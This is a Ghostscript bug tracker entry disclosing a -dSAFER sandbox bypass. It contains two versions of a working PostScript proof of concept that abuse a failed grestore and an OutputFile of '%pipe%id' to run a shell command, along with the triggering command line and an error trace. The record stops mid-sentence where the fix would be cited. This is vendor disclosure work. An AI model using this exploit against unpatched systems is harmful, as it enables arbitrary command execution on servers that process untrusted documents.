Bug 699714

Summary: another grestore failure SAFER bypass
Product: Ghostscript Reporter: Tavis Ormandy <taviso>
Component: Security (public)Assignee: Chris Liddell (chrisl) <chris.liddell>
Severity: critical CC: cbuissar, scorneli
Priority: P4    
Version: unspecified   
Hardware: PC   
OS: Linux   
See Also: https://bugs.ghostscript.com/show_bug.cgi?id=699654
Customer: Word Size: ---

Description Tavis Ormandy 2018-09-04 18:38:27 UTC
This is a variant of bug 699654, I was reviewing the fix for that bug and looking for other ways the restore could fail.

Here is one that fix doesn't cover:

$ cat testcase.ps
currentpagedevice /PageSize get 0 (foobar) put
{ grestore } stopped clear
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
Comment 1 Chris Liddell (chrisl) 2018-09-04 20:56:49 UTC
Running that with the 9.24 release gives:
Error: /undefined in --.putdeviceprops--
Operand stack:

Execution stack:
   %interp_exit   .runexec2   --nostringval--   --nostringval--   --nostringval--   2   %stopped_push   --nostringval--   --nostringval--   --nostringval--   false   1   %stopped_push   2015   1   3   %oparray_pop   2014   1   3   %oparray_pop   1998   1   3   %oparray_pop   1884   1   3   %oparray_pop   --nostringval--   %errorexec_pop   .runexec2   --nostringval--   --nostringval--   --nostringval--   2   %stopped_push   --nostringval--   1863   4   3   %oparray_pop
Dictionary stack:
   --dict:978/1684(ro)(G)--   --dict:0/20(G)--   --dict:78/200(L)--
Current allocation mode is local
Last OS error: Resource temporarily unavailable
Current file position is 135
GPL Ghostscript 9.24: Unrecoverable error, exit code 1
Comment 2 Tavis Ormandy 2018-09-04 21:00:50 UTC
Sorry, please use the commandline:

gs -dSAFER -sDEVICE=ppmraw -f 699714.ps 

Apologies for not specifying that.
Comment 3 Tavis Ormandy 2018-09-04 21:03:26 UTC
Here is a version that works without specifying the device, just for reference.

userdict /setpagedevice undef
currentpagedevice /PageSize get 0 (foobar) put
{ grestore } stopped clear

% make sure we have a device with OutputFile
(ppmraw) selectdevice

mark /OutputFile (%pipe%id) currentdevice putdeviceprops

{ showpage } stopped pop
Comment 4 Chris Liddell (chrisl) 2018-09-05 08:20:22 UTC
This one is fixed in: